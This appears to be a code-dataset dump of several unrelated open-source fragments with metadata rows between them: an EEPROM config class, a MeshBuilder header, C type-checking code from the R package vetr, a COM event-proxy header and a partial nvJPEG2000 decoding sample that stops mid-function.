config.magCalibrationOffset[i] = lrintf(state.magCalibrationOffset[i] * 10.0f);
config.magCalibrationScale[i] = lrintf(state.magCalibrationScale[i] * 1000.0f);
}
}
int load()
{
#ifndef UNIT_TEST
_storageResult = _storage.load(config);
#endif
postLoad();
return 1;
}
void save()
{
preSave();
#ifndef UNIT_TEST
_storageResult = _storage.write(config);
#endif
}
void reload()
{
sanitize();
update();
}
void reset()
{
initialize();
save();
sanitize();
update();
}
ModelState state;
ModelConfig config;
Logger logger;
void logStorageResult()
{
#ifndef UNIT_TEST
switch(_storageResult)
{
case STORAGE_LOAD_SUCCESS: logger.info().logln(F("EEPROM loaded")); break;
case STORAGE_SAVE_SUCCESS: logger.info().logln(F("EEPROM saved")); break;
case STORAGE_ERR_BAD_MAGIC: logger.err().logln(F("EEPROM wrong magic")); break;
case STORAGE_ERR_BAD_VERSION: logger.err().logln(F("EEPROM wrong version")); break;
case STORAGE_ERR_BAD_SIZE: logger.err().logln(F("EEPROM wrong size")); break;
case STORAGE_NONE:
default:
logger.err().logln(F("EEPROM unknown")); break;
}
#endif
}
private:
#ifndef UNIT_TEST
Storage _storage;
StorageResult _storageResult;
#endif
};
}
#endif
| 32.128978 | 160 | 0.631458 | [
"model"
] |
d3b82a46b4599b037bf9650181a19124ee31c02c | 1,961 | h | C | NYP_Framework_Week08_SOLUTION/Common/Source/MeshBuilder.h | KianMarvi/Assignment | 8133acec4dd65bc49316aec8deb3961035bdef27 | [
"MIT"
] | null | null | null | NYP_Framework_Week08_SOLUTION/Common/Source/MeshBuilder.h | KianMarvi/Assignment | 8133acec4dd65bc49316aec8deb3961035bdef27 | [
"MIT"
] | 8 | 2019-12-29T17:17:00.000Z | 2020-02-07T08:08:01.000Z | NYP_Framework_Week08_SOLUTION/Common/Source/MeshBuilder.h | KianMarvi/Assignment | 8133acec4dd65bc49316aec8deb3961035bdef27 | [
"MIT"
] | null | null | null | #ifndef MESH_BUILDER_H
#define MESH_BUILDER_H
#include "SingletonTemplate.h"
#include "Vertex.h"
#include <map>
#include <string>
// Forward Declaration
class Mesh;
/******************************************************************************/
/*!
Class MeshBuilder:
\brief Provides methods to generate mesh of different shapes
*/
/******************************************************************************/
class MeshBuilder : public Singleton<MeshBuilder>
{
friend Singleton<MeshBuilder>;
public:
Mesh* GenerateAxes(const std::string &meshName, float lengthX=0.0f, float lengthY=0.0f, float lengthZ=0.0f);
Mesh* GenerateCrossHair(const std::string &meshName, float colour_r=1.0f, float colour_g=1.0f, float colour_b=0.0f, float length=1.0f);
Mesh* GenerateQuad(const std::string &meshName, Color color, float length = 1.f);
Mesh* GenerateCube(const std::string &meshName, Color color, float length = 1.f);
Mesh* GenerateRing(const std::string &meshName, Color color, unsigned numSlice, float outerR = 1.f, float innerR = 0.f);
Mesh* GenerateSphere(const std::string &meshName, Color color, unsigned numStack, unsigned numSlice, float radius = 1.f);
Mesh* GenerateCone(const std::string &meshName, Color color, unsigned numSlice, float radius, float height);
Mesh* GenerateOBJ(const std::string &meshName, const std::string &file_path);
Mesh* GenerateText(const std::string &meshName, unsigned row, unsigned col);
Mesh* GenerateSkyPlane(const std::string &meshName, Color color, int slices,float PlanetRadius, float AtmosphereRadius, float hTile, float vTile);
Mesh* GenerateCircle(const std::string &meshName, Color color, float length = 1.0f);
Mesh* GenerateRay(const std::string &meshName, const float length = 1.0f);
Mesh* GetMesh(const std::string& _meshName);
void AddMesh(const std::string& _meshName, Mesh* _newMesh);
void RemoveMesh(const std::string& _meshName);
private:
std::map<std::string, Mesh*> meshMap;
};
#endif | 45.604651 | 147 | 0.696073 | [
"mesh"
] |
d3c223b3b67d693305536145c979624ecdce1e5c | 4,245 | c | C | src/type.c | brodieG/validate | 188872e15e53ce3c353a29d5e475e871a00821ec | [
"PSF-2.0"
] | 65 | 2017-07-10T06:22:57.000Z | 2022-03-10T08:51:46.000Z | src/type.c | brodieG/vetr | 188872e15e53ce3c353a29d5e475e871a00821ec | [
"PSF-2.0"
] | 92 | 2017-04-26T01:35:13.000Z | 2020-11-26T15:46:02.000Z | src/type.c | brodieG/validate | 188872e15e53ce3c353a29d5e475e871a00821ec | [
"PSF-2.0"
] | 3 | 2017-07-26T14:36:45.000Z | 2020-05-13T16:07:27.000Z | /*
Copyright (C) 2020 Brodie Gaslam
This file is part of "vetr - Trust, but Verify"
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
Go to <https://www.r-project.org/Licenses/GPL-2> for a copy of the license.
*/
#include "alike.h"
/*
compare types, accounting for "integer like" numerics; empty string means
success, otherwise outputs an a character string explaining why the types are
not alike
call is substituted current, only used when this is called by type_alike directly otherwise doesn't do much
*/
struct ALIKEC_res ALIKEC_type_alike_internal(
SEXP target, SEXP current, struct VALC_settings set
) {
SEXPTYPE tar_type, cur_type, tar_type_raw, cur_type_raw;
int int_like = 0;
tar_type_raw = TYPEOF(target);
cur_type_raw = TYPEOF(current);
struct ALIKEC_res res = ALIKEC_res_init();
if(tar_type_raw == cur_type_raw) return res;
tar_type = tar_type_raw;
cur_type = cur_type_raw;
if(set.type_mode == 0) {
if(
tar_type_raw == INTSXP && (
set.fuzzy_int_max_len < 0 ||
(
xlength(target) <= set.fuzzy_int_max_len &&
xlength(current) <= set.fuzzy_int_max_len
) )
) {
int_like = 1;
}
if(int_like || (
tar_type_raw == CLOSXP || tar_type_raw == SPECIALSXP ||
tar_type_raw == BUILTINSXP
)
) {
tar_type = ALIKEC_typeof_internal(target);
cur_type = ALIKEC_typeof_internal(current);
}
}
if(tar_type == cur_type) return res;
if(
cur_type == INTSXP && set.type_mode < 2 &&
(tar_type == INTSXP || tar_type == REALSXP)
) {
return res;
}
const char * what;
if(set.type_mode == 0 && int_like) {
what = "integer-like";
} else if (set.type_mode < 2 && tar_type == REALSXP) {
what = "numeric";
} else if (set.type_mode == 0 && tar_type == CLOSXP) {
what = "function";
} else {
what = type2char(tar_type);
}
struct ALIKEC_res res_fin = res;
res_fin.success = 0;
res_fin.dat.strings.target[0]= "type \"%s\"";
res_fin.dat.strings.target[1]= what;
res_fin.dat.strings.current[0] = "\"%s\"";
res_fin.dat.strings.current[1] = type2char(cur_type);
res_fin.wrap = allocVector(VECSXP, 2); // note not PROTECTing b/c return
return res_fin;
}
SEXP ALIKEC_type_alike(
SEXP target, SEXP current, SEXP call, SEXP settings
) {
struct ALIKEC_res res;
struct VALC_settings set = VALC_settings_vet(settings, R_BaseEnv);
res = ALIKEC_type_alike_internal(target, current, set);
PROTECT(res.wrap);
SEXP res_sexp;
if(!res.success) {
res_sexp = PROTECT(ALIKEC_res_as_string(res, call, set));
} else {
res_sexp = PROTECT(ScalarLogical(1));
}
UNPROTECT(2);
return(res_sexp);
}
/* - typeof ----------------------------------------------------------------- */
SEXPTYPE ALIKEC_typeof_internal(SEXP object) {
double * obj_real;
SEXPTYPE obj_type = TYPEOF(object);
switch(obj_type) {
case REALSXP:
{
R_xlen_t obj_len = XLENGTH(object), i;
obj_real = REAL(object);
/*
could optimize this more by using the magic number tricks or bit
fiddling, but at end of day this still wouldn't be fast enough to
realistically use on a very large vector, so it doesn't really matter
*/
for(i = 0; i < obj_len; i++) {
if(
(isnan(obj_real[i]) || !isfinite(obj_real[i])) ||
obj_real[i] != (int)obj_real[i]
)
return REALSXP;
}
return INTSXP;
}
break;
case CLOSXP:
case BUILTINSXP:
case SPECIALSXP:
return CLOSXP;
}
return(obj_type);
}
/*
External interface for typeof, here mostly so we don't have to deal with the
SEXP return in the internal use case
*/
SEXP ALIKEC_typeof(SEXP object) {
return mkString(type2char(ALIKEC_typeof_internal(object)));
}
| 28.3 | 107 | 0.654653 | [
"object",
"vector"
] |
d3cbb7a1354bb1ae01a6c9cc47f9e58748c15a0c | 1,185 | h | C | Gems/Blast/Code/Source/Asset/BlastSliceAsset.h | aaarsene/o3de | 37e3b0226958974defd14dd6d808e8557dcd7345 | [
"Apache-2.0",
"MIT"
] | 1 | 2021-09-13T00:01:12.000Z | 2021-09-13T00:01:12.000Z | Gems/Blast/Code/Source/Asset/BlastSliceAsset.h | aaarsene/o3de | 37e3b0226958974defd14dd6d808e8557dcd7345 | [
"Apache-2.0",
"MIT"
] | null | null | null | Gems/Blast/Code/Source/Asset/BlastSliceAsset.h | aaarsene/o3de | 37e3b0226958974defd14dd6d808e8557dcd7345 | [
"Apache-2.0",
"MIT"
] | 1 | 2021-07-20T11:07:25.000Z | 2021-07-20T11:07:25.000Z | /*
* Copyright (c) Contributors to the Open 3D Engine Project. For complete copyright and license terms please see the LICENSE at the root of this distribution.
*
* SPDX-License-Identifier: Apache-2.0 OR MIT
*
*/
#pragma once
#include <AzCore/Asset/AssetCommon.h>
namespace Blast
{
//! The product asset file from a .blast_slice file product asset file
class BlastSliceAsset final : public AZ::Data::AssetData
{
public:
AZ_RTTI(BlastSliceAsset, "{D04AAF07-EB12-4E50-8964-114A9B9C1FD1}", AZ::Data::AssetData);
AZ_CLASS_ALLOCATOR(BlastSliceAsset, AZ::SystemAllocator, 0);
BlastSliceAsset() = default;
~BlastSliceAsset() override = default;
void SetMeshIdList(const AZStd::vector<AZ::Data::AssetId>& meshAssetIdList);
const AZStd::vector<AZ::Data::AssetId>& GetMeshIdList() const;
void SetMaterialId(const AZ::Data::AssetId& materialAssetId);
const AZ::Data::AssetId& GetMaterialId() const;
static void Reflect(AZ::ReflectContext* context);
private:
AZStd::vector<AZ::Data::AssetId> m_meshAssetIdList;
AZ::Data::AssetId m_materialAssetId;
};
} // namespace Blast
| 32.916667 | 158 | 0.691983 | [
"vector",
"3d"
] |
d3ce9667a256e2db099eff31c91fb79b60cf6e93 | 6,862 | h | C | toolsrc/include/vcpkg/dependencies.h | Rastaban/vcpkg | f041229875da49cbf0c58d0a7ab55a0060e40f49 | [
"MIT"
] | 1 | 2019-06-28T17:29:08.000Z | 2019-06-28T17:29:08.000Z | toolsrc/include/vcpkg/dependencies.h | Rastaban/vcpkg | f041229875da49cbf0c58d0a7ab55a0060e40f49 | [
"MIT"
] | 6 | 2019-07-09T21:18:05.000Z | 2019-10-10T05:21:12.000Z | toolsrc/include/vcpkg/dependencies.h | Rastaban/vcpkg | f041229875da49cbf0c58d0a7ab55a0060e40f49 | [
"MIT"
] | null | null | null | #pragma once
#include <vcpkg/base/optional.h>
#include <vcpkg/base/util.h>
#include <vcpkg/build.h>
#include <vcpkg/cmakevars.h>
#include <vcpkg/packagespec.h>
#include <vcpkg/portfileprovider.h>
#include <vcpkg/statusparagraphs.h>
#include <vcpkg/vcpkgpaths.h>
#include <functional>
#include <vector>
namespace vcpkg::Graphs
{
struct Randomizer;
}
namespace vcpkg::Dependencies
{
enum class RequestType
{
UNKNOWN,
USER_REQUESTED,
AUTO_SELECTED
};
std::string to_output_string(RequestType request_type,
const CStringView s,
const Build::BuildPackageOptions& options);
std::string to_output_string(RequestType request_type, const CStringView s);
enum class InstallPlanType
{
UNKNOWN,
BUILD_AND_INSTALL,
ALREADY_INSTALLED,
EXCLUDED
};
struct InstallPlanAction : Util::MoveOnlyBase
{
static bool compare_by_name(const InstallPlanAction* left, const InstallPlanAction* right);
InstallPlanAction() noexcept;
InstallPlanAction(InstalledPackageView&& spghs, const RequestType& request_type);
InstallPlanAction(const PackageSpec& spec,
const SourceControlFileLocation& scfl,
const RequestType& request_type,
std::unordered_map<std::string, std::vector<FeatureSpec>>&& dependencies);
std::string displayname() const;
PackageSpec spec;
Optional<const SourceControlFileLocation&> source_control_file_location;
Optional<InstalledPackageView> installed_package;
InstallPlanType plan_type;
RequestType request_type;
Build::BuildPackageOptions build_options;
std::unordered_map<std::string, std::vector<FeatureSpec>> feature_dependencies;
std::vector<PackageSpec> package_dependencies;
std::vector<std::string> feature_list;
};
enum class RemovePlanType
{
UNKNOWN,
NOT_INSTALLED,
REMOVE
};
struct RemovePlanAction : Util::MoveOnlyBase
{
static bool compare_by_name(const RemovePlanAction* left, const RemovePlanAction* right);
RemovePlanAction() noexcept;
RemovePlanAction(const PackageSpec& spec, const RemovePlanType& plan_type, const RequestType& request_type);
PackageSpec spec;
RemovePlanType plan_type;
RequestType request_type;
};
struct AnyAction
{
AnyAction(InstallPlanAction&& iplan) : install_action(std::move(iplan)) {}
AnyAction(RemovePlanAction&& rplan) : remove_action(std::move(rplan)) {}
Optional<InstallPlanAction> install_action;
Optional<RemovePlanAction> remove_action;
const PackageSpec& spec() const;
};
enum class ExportPlanType
{
UNKNOWN,
NOT_BUILT,
ALREADY_BUILT
};
struct ExportPlanAction : Util::MoveOnlyBase
{
static bool compare_by_name(const ExportPlanAction* left, const ExportPlanAction* right);
ExportPlanAction() noexcept;
ExportPlanAction(const PackageSpec& spec,
InstalledPackageView&& installed_package,
const RequestType& request_type);
ExportPlanAction(const PackageSpec& spec, const RequestType& request_type);
PackageSpec spec;
ExportPlanType plan_type;
RequestType request_type;
Optional<const BinaryParagraph&> core_paragraph() const;
std::vector<PackageSpec> dependencies(const Triplet& triplet) const;
private:
Optional<InstalledPackageView> m_installed_package;
};
struct ClusterGraph;
struct GraphPlan;
struct CreateInstallPlanOptions
{
Graphs::Randomizer* randomizer = nullptr;
};
struct PackageGraph
{
static std::vector<RemovePlanAction> create_remove_plan(const std::vector<PackageSpec>& specs,
const StatusParagraphs& status_db);
static std::vector<ExportPlanAction> create_export_plan(const std::vector<PackageSpec>& specs,
const StatusParagraphs& status_db);
/// <summary>Figure out which actions are required to install features specifications in `specs`.</summary>
/// <param name="provider">Contains the ports of the current environment.</param>
/// <param name="specs">Feature specifications to resolve dependencies for.</param>
/// <param name="status_db">Status of installed packages in the current environment.</param>
static std::vector<AnyAction> create_feature_install_plan(const PortFileProvider::PortFileProvider& provider,
const CMakeVars::CMakeVarProvider& var_provider,
const std::vector<FullPackageSpec>& specs,
const StatusParagraphs& status_db,
const CreateInstallPlanOptions& options = {});
static std::vector<AnyAction> create_upgrade_plan(const PortFileProvider::PortFileProvider& provider,
const CMakeVars::CMakeVarProvider& var_provider,
const std::vector<PackageSpec>& specs,
const StatusParagraphs& status_db,
const CreateInstallPlanOptions& options = {});
private:
PackageGraph(const PortFileProvider::PortFileProvider& provider,
const CMakeVars::CMakeVarProvider& var_provider,
const StatusParagraphs& status_db);
~PackageGraph();
void install(Span<const FeatureSpec> specs);
void upgrade(Span<const PackageSpec> specs);
void mark_user_requested(const PackageSpec& spec);
std::vector<AnyAction> serialize(const CreateInstallPlanOptions& options = {}) const;
std::vector<FeatureSpec> graph_removals(const PackageSpec& spec);
std::vector<FeatureSpec> graph_installs(const PackageSpec& spec,
const std::vector<FeatureSpec>& new_dependencies);
const CMakeVars::CMakeVarProvider& m_var_provider;
std::unique_ptr<GraphPlan> m_graph_plan;
std::unique_ptr<ClusterGraph> m_graph;
};
void print_plan(const std::vector<AnyAction>& action_plan,
const bool is_recursive = true,
const fs::path& default_ports_dir = "");
}
| 36.306878 | 117 | 0.61673 | [
"vector"
] |
d3cf6ab8133f8aad0ea71b78ac20a22791b960ee | 5,361 | h | C | fm++/fm/com/eventproxy.h | DBJDBJ/dbjcpp2017 | b9e46aa4c2d5e851870bc802f8a295c43e78de94 | [
"Apache-2.0"
] | 1 | 2017-04-14T05:07:39.000Z | 2017-04-14T05:07:39.000Z | fm/com/eventproxy.h | DBJDBJ/fmpp | 5cd421a7abf60ae0c72e4bb04735eb08e040a882 | [
"Unlicense",
"MIT"
] | null | null | null | fm/com/eventproxy.h | DBJDBJ/fmpp | 5cd421a7abf60ae0c72e4bb04735eb08e040a882 | [
"Unlicense",
"MIT"
] | null | null | null | //*****************************************************************************/
//
//
//
// Copyright (c) 1997 - 2015 by Dusan B. Jovanovic (dbj@dbj.org)
// All Rights Reserved
//
// THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF Dusan B. Jovanovic (dbj@dbj.org)
//
// The copyright notice above does not evidence any
// actual or intended publication of such source code.
//
// $Author: DBJ $
// $Date: $
// $Revision: $
//*****************************************************************************/
// This code adapted from an article by Michael Lindig on www.codeguru.com
// Usage :
/*
Change:
template <class T>
class CProxy_IMyEvents :
public IConnectionPointImpl<T,
&DIID__ISchedulerEvents,
CComDynamicUnkArray>
To
#include "CProxyEvent.h"
template <class T>
class CProxy_IMyEvents :
public IConnectionPointImpl<T,
&DIID__ISchedulerEvents,
CComDynamicUnkArray_GIT>
*/
/*
and replace :
Dispatch* pDispatch = reinterpret_cast< IDispatch* >(sp.p)
with:
CComQIPtr< IDispatch, &IID_IDispatch > pDispatch( sp.p )
and
pDispatch != NULL
to
pDispatch.p != NULL
*/
#pragma once
#ifndef __CEVENT_PROXY__
#define __CEVENT_PROXY__
namespace dbjsys {
namespace fm {
//--------------------------------------------------------------------------------------------
//
class CComDynamicUnkArray_GIT : public CComDynamicUnkArray
{
private:
//
IGlobalInterfaceTable* GIT;
public:
//
CComDynamicUnkArray_GIT() : CComDynamicUnkArray()
{
GIT = NULL;
CoCreateInstance( CLSID_StdGlobalInterfaceTable,
NULL,
CLSCTX_INPROC_SERVER,
__uuidof(IGlobalInterfaceTable),
reinterpret_cast< void** >(&GIT) );
}
//
~CComDynamicUnkArray_GIT()
{
clear();
if( GIT != NULL )
{
GIT->Release();
}
}
//
DWORD Add(IUnknown* pUnk);
//
BOOL Remove(DWORD dwCookie);
//
CComPtr<IUnknown> GetAt(int nIndex)
{
DWORD dwCookie = (DWORD)CComDynamicUnkArray::GetAt( nIndex );
if( dwCookie == 0 )
return NULL;
if( CookieMap.find( dwCookie ) == CookieMap.end() )
{
return (IUnknown*)dwCookie;
}
if( GIT != NULL )
{
CComPtr<IUnknown> ppv;
HRESULT hr = GIT->GetInterfaceFromGlobal(
CookieMap[dwCookie], //Cookie identifying the desired global
//interface and its object
__uuidof(IUnknown), //IID of the registered global interface
reinterpret_cast< void** >(&ppv) //Indirect pointer to the desired interface
);
if( hr == S_OK )
{
return ppv;
}
}
return (IUnknown*)dwCookie;
}
//
void clear()
{
CComDynamicUnkArray::clear();
if( GIT != NULL )
{
std::map< DWORD, DWORD >::iterator iter;
for( iter = CookieMap.begin(); iter != CookieMap.end(); ++iter )
{
GIT->RevokeInterfaceFromGlobal(
iter->second //Cookie that was returned from
//RegisterInterfaceInGlobal
);
}
}
CookieMap.clear();
}
protected:
//
std::map<DWORD, DWORD> CookieMap;
};
inline DWORD CComDynamicUnkArray_GIT::Add(IUnknown* pUnk)
{
DWORD Result = CComDynamicUnkArray::Add( pUnk );
HRESULT hr;
DWORD pdwCookie = 0;
if( GIT != NULL )
{
hr = GIT->RegisterInterfaceInGlobal(
pUnk, //Pointer to interface of type riid of object
//containing global interface
__uuidof(IUnknown), //IID of the interface to be registered
&pdwCookie //Supplies a pointer to the cookie that provides
//a caller in another apartment access to the
//interface pointer
);
}
if( hr == S_OK )
{
CookieMap[Result] = pdwCookie;
}
return Result;
}
inline BOOL CComDynamicUnkArray_GIT::Remove(DWORD dwCookie)
{
BOOL Result = CComDynamicUnkArray::Remove( dwCookie );
if( GIT != NULL )
{
if( CookieMap.find( dwCookie ) != CookieMap.end() )
{
GIT->RevokeInterfaceFromGlobal(
CookieMap[dwCookie] //Cookie that was returned from
//RegisterInterfaceInGlobal
);
CookieMap.erase(dwCookie);
}
}
return Result;
}
//--------------------------------------------------------------------------------------------
} // namespace fm
} // namespace dbjsys
//--------------------------------------------------------------------------------------------
#endif
| 26.671642 | 95 | 0.4626 | [
"object"
] |
d3da1be05f4e227b8f764b300c30998a02034450 | 17,722 | h | C | nvJPEG2000/nvJPEG2000-Decoder-Tile-Partial/nvj2k_DecodeTilePartial.h | SAristeev/CUDALibrarySamples | ca7d1b55359da4b42355e48c09b3626dcdbf6cbf | [
"BSD-3-Clause"
] | 347 | 2019-05-12T08:03:31.000Z | 2022-03-29T18:02:42.000Z | nvJPEG2000/nvJPEG2000-Decoder-Tile-Partial/nvj2k_DecodeTilePartial.h | SAristeev/CUDALibrarySamples | ca7d1b55359da4b42355e48c09b3626dcdbf6cbf | [
"BSD-3-Clause"
] | 58 | 2020-05-10T21:24:20.000Z | 2022-03-29T12:35:15.000Z | nvJPEG2000/nvJPEG2000-Decoder-Tile-Partial/nvj2k_DecodeTilePartial.h | SAristeev/CUDALibrarySamples | ca7d1b55359da4b42355e48c09b3626dcdbf6cbf | [
"BSD-3-Clause"
] | 107 | 2019-11-01T21:02:21.000Z | 2022-03-30T23:13:39.000Z | /*
* Copyright (c) 2021, NVIDIA CORPORATION. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of NVIDIA CORPORATION nor the names of its
* contributors may be used to endorse or promote products derived
* from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS ``AS IS'' AND ANY
* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
* CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
* OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <iostream>
#include <fstream>
#include <sstream>
#include <string>
#include <vector>
#include <algorithm>
#include <string.h> // strcmpi
#if defined(WIN32) || defined(_WIN32) || defined(WIN64) || defined(_WIN64)
#include <windows.h>
#include <filesystem>
const std::string separator = "\\";
namespace fs = std::filesystem;
#else
#include <sys/time.h> // timings
#include <experimental/filesystem>
const std::string separator = "/";
namespace fs = std::experimental::filesystem::v1;
#endif
#include <sys/stat.h>
#include <sys/types.h>
#include <cuda_runtime_api.h>
#include <nvjpeg2k.h>
#define CHECK_CUDA(call) \
{ \
cudaError_t _e = (call); \
if (_e != cudaSuccess) \
{ \
std::cout << "CUDA Runtime failure: '#" << _e << "' at " << __FILE__ << ":" << __LINE__ << std::endl; \
return EXIT_FAILURE; \
} \
}
#define CHECK_NVJPEG2K(call) \
{ \
nvjpeg2kStatus_t _e = (call); \
if (_e != NVJPEG2K_STATUS_SUCCESS) \
{ \
std::cout << "NVJPEG failure: '#" << _e << "' at " << __FILE__ << ":" << __LINE__ << std::endl; \
return EXIT_FAILURE; \
} \
}
constexpr int PIPELINE_STAGES = 10;
constexpr int MAX_PRECISION = 16;
constexpr int NUM_COMPONENTS = 4;
typedef struct
{
unsigned short *pixel_data[NUM_COMPONENTS];
size_t pitch_in_bytes[NUM_COMPONENTS];
nvjpeg2kImageType_t pixel_type;
uint32_t num_comps;
} nvjpeg2kImage16u_t;
typedef struct
{
size_t comp_sz[NUM_COMPONENTS];
} nvjpeg2ksample_img_sz;
int dev_malloc(void **p, size_t s) { return (int)cudaMalloc(p, s); }
int dev_free(void *p) { return (int)cudaFree(p); }
int host_malloc(void **p, size_t s, unsigned int f) { return (int)cudaHostAlloc(p, s, f); }
int host_free(void *p) { return (int)cudaFreeHost(p); }
typedef std::vector<std::string> FileNames;
typedef std::vector<std::vector<char>> FileData;
struct decode_params_t
{
std::string input_dir;
int batch_size;
int total_images;
int dev;
int warmup;
nvjpeg2kDecodeState_t nvjpeg2k_decode_states[PIPELINE_STAGES];
nvjpeg2kHandle_t nvjpeg2k_handle;
cudaStream_t stream[PIPELINE_STAGES];
std::vector<nvjpeg2kStream_t> jpeg2k_streams;
bool verbose;
bool write_decoded;
std::string output_dir;
unsigned int win_x0;
unsigned int win_x1;
unsigned int win_y0;
unsigned int win_y1;
bool partial_decode;
};
int read_next_batch(FileNames &image_names, int batch_size,
FileNames::iterator &cur_iter, FileData &raw_data,
std::vector<size_t> &raw_len, FileNames ¤t_names, bool verbose)
{
int counter = 0;
while (counter < batch_size)
{
if (cur_iter == image_names.end())
{
if(verbose)
{
std::cerr << "Image list is too short to fill the batch, adding files "
"from the beginning of the image list"
<< std::endl;
}
cur_iter = image_names.begin();
}
if (image_names.size() == 0)
{
std::cerr << "No valid images left in the input list, exit" << std::endl;
return EXIT_FAILURE;
}
// Read an image from disk.
std::ifstream input(cur_iter->c_str(),
std::ios::in | std::ios::binary | std::ios::ate);
if (!(input.is_open()))
{
std::cerr << "Cannot open image: " << *cur_iter
<< ", removing it from image list" << std::endl;
image_names.erase(cur_iter);
continue;
}
// Get the size
std::streamsize file_size = input.tellg();
input.seekg(0, std::ios::beg);
// resize if buffer is too small
if (raw_data[counter].size() < static_cast<size_t>(file_size))
{
raw_data[counter].resize(file_size);
}
if (!input.read(raw_data[counter].data(), file_size))
{
std::cerr << "Cannot read from file: " << *cur_iter
<< ", removing it from image list" << std::endl;
image_names.erase(cur_iter);
continue;
}
raw_len[counter] = file_size;
current_names[counter] = *cur_iter;
counter++;
cur_iter++;
}
return EXIT_SUCCESS;
}
double Wtime(void)
{
#if defined(_WIN32)
LARGE_INTEGER t;
static double oofreq;
static int checkedForHighResTimer;
static BOOL hasHighResTimer;
if (!checkedForHighResTimer)
{
hasHighResTimer = QueryPerformanceFrequency(&t);
oofreq = 1.0 / (double)t.QuadPart;
checkedForHighResTimer = 1;
}
if (hasHighResTimer)
{
QueryPerformanceCounter(&t);
return (double)t.QuadPart * oofreq;
}
else
{
return (double)GetTickCount() / 1000.0;
}
#else
struct timespec tp;
int rv = clock_gettime(CLOCK_MONOTONIC, &tp);
if (rv)
return 0;
return tp.tv_nsec / 1.0E+9 + (double)tp.tv_sec;
#endif
}
// *****************************************************************************
// reading input directory to file list
// -----------------------------------------------------------------------------
int readInput(const std::string &sInputPath, std::vector<std::string> &filelist)
{
if( fs::is_regular_file(sInputPath))
{
filelist.push_back(sInputPath);
}
else if (fs::is_directory(sInputPath))
{
fs::recursive_directory_iterator iter(sInputPath);
for(auto& p: iter)
{
if( fs::is_regular_file(p))
{
filelist.push_back(p.path().string());
}
}
}
else
{
std::cout<<"unable to open input"<<std::endl;
return EXIT_FAILURE;
}
return EXIT_SUCCESS;
}
// *****************************************************************************
// check for inputDirExists
// -----------------------------------------------------------------------------
int inputDirExists(const char *pathname)
{
struct stat info;
if (stat(pathname, &info) != 0)
{
return 0; // Directory does not exists
}
else if (info.st_mode & S_IFDIR)
{
// is a directory
return 1;
}
else
{
// is not a directory
return 0;
}
}
// *****************************************************************************
// check for getInputDir
// -----------------------------------------------------------------------------
int getInputDir(std::string &input_dir, const char *executable_path)
{
int found = 0;
if (executable_path != 0)
{
std::string executable_name = std::string(executable_path);
#if defined(WIN32) || defined(_WIN32) || defined(WIN64) || defined(_WIN64)
// Windows path delimiter
size_t delimiter_pos = executable_name.find_last_of('\\');
executable_name.erase(0, delimiter_pos + 1);
if (executable_name.rfind(".exe") != std::string::npos)
{
// we strip .exe, only if the .exe is found
executable_name.resize(executable_name.size() - 4);
}
#else
// Linux & OSX path delimiter
size_t delimiter_pos = executable_name.find_last_of('/');
executable_name.erase(0, delimiter_pos + 1);
#endif
// Search in default paths for input images.
std::string pathname = "";
const char *searchPath[] = {
"./images"};
for (unsigned int i = 0; i < sizeof(searchPath) / sizeof(char *); ++i)
{
std::string pathname(searchPath[i]);
size_t executable_name_pos = pathname.find("<executable_name>");
// If there is executable_name variable in the searchPath
// replace it with the value
if (executable_name_pos != std::string::npos)
{
pathname.replace(executable_name_pos, strlen("<executable_name>"),
executable_name);
}
if (inputDirExists(pathname.c_str()))
{
input_dir = pathname + "/";
found = 1;
break;
}
}
}
return found;
}
// write PGM, input - single channel, device
template <typename D>
int writePGM(const char *filename, const D *pSrc, size_t nSrcStep, int nWidth, int nHeight, uint8_t precision)
{
std::ofstream rOutputStream(filename, std::fstream::binary);
if (!rOutputStream)
{
std::cerr << "Cannot open output file: " << filename << std::endl;
return 1;
}
std::vector<D> img(nHeight * (nSrcStep / sizeof(D)));
D *hpSrc = img.data();
CHECK_CUDA(cudaMemcpy2D(hpSrc, nSrcStep, pSrc, nSrcStep, nWidth * sizeof(D), nHeight, cudaMemcpyDeviceToHost));
rOutputStream << "P5\n";
rOutputStream << "#nvJPEG2000\n";
rOutputStream << nWidth << " " << nHeight << "\n";
rOutputStream << (1 << precision) - 1 << "\n";
D *pTemp = hpSrc;
const D *pEndRow = pTemp + nHeight * (nSrcStep / sizeof(D));
for (; pTemp < pEndRow; pTemp += (nSrcStep / sizeof(D)))
{
const D *pRow = pTemp;
const D *pEndColumn = pRow + nWidth;
for (; pRow < pEndColumn; ++pRow)
{
if (precision == 8)
{
rOutputStream << static_cast<unsigned char>(*pRow);
}
else
{
rOutputStream << static_cast<unsigned char>((*pRow) >> 8) << static_cast<unsigned char>((*pRow) & 0xff);
}
}
}
return 0;
}
// write bmp, input - RGB, device
template <typename D>
int writeBMP(const char *filename,
const D *d_chanR, size_t pitchR,
const D *d_chanG, size_t pitchG,
const D *d_chanB, size_t pitchB,
int width, int height,
uint8_t precision,
